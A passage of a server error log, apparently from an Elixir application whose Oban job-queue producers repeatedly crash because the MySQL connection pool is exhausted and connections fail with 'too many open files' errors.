    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:12:09.241168Z], limit: 5, uuid: "33f238bc-3f16-455d-928f-9147750155d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:09.241174Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.258648>, refresh_timer: #Reference<0.2525715032.1121189889.111082>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:12:09.241409Z], limit: 3, uuid: "435940b9-37df-4163-9d2b-59a15f9c75b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:09.241415Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.258650>, refresh_timer: #Reference<0.2525715032.1077411843.240841>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:12:09.241359Z], limit: 20, uuid: "a43f48c1-474c-45f2-8d7f-9f26e3b0331d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:09.241365Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.258647>, refresh_timer: #Reference<0.2525715032.1121189889.111087>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:21.420000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:21.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:23.422000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:25.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:12:15.239211Z], limit: 10, uuid: "d80c08c8-6c0b-47b8-8566-ddbfa1b209f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:15.239219Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.258817>, refresh_timer: #Reference<0.2525715032.1121189889.111098>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:27.851000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:30.159000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:32.812000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:12:21.240028Z], limit: 20, uuid: "e03d176e-b664-4dd0-8b21-d586933afb1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:21.240034Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259023>, refresh_timer: #Reference<0.2525715032.1068236804.259009>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:12:21.239328Z], limit: 5, uuid: "d9bea387-13bb-4791-8365-7cd67563656c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:21.239333Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259024>, refresh_timer: #Reference<0.2525715032.1068236804.258997>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:12:21.239166Z], limit: 3, uuid: "519665d4-4506-487a-9971-a7974e726fba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:21.239172Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259026>, refresh_timer: #Reference<0.2525715032.1068236804.258998>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:12:21.241786Z], limit: 50, uuid: "4171bd60-709b-478a-a50e-095a239109c9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:21.241791Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259027>, refresh_timer: #Reference<0.2525715032.1099431938.9725>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:12:21.239723Z], limit: 5, uuid: "981ea7ae-4d1f-4218-ab8f-8022b9c25b6c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:21.239730Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259025>, refresh_timer: #Reference<0.2525715032.1068236804.258992>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:35.304000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:35.672000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
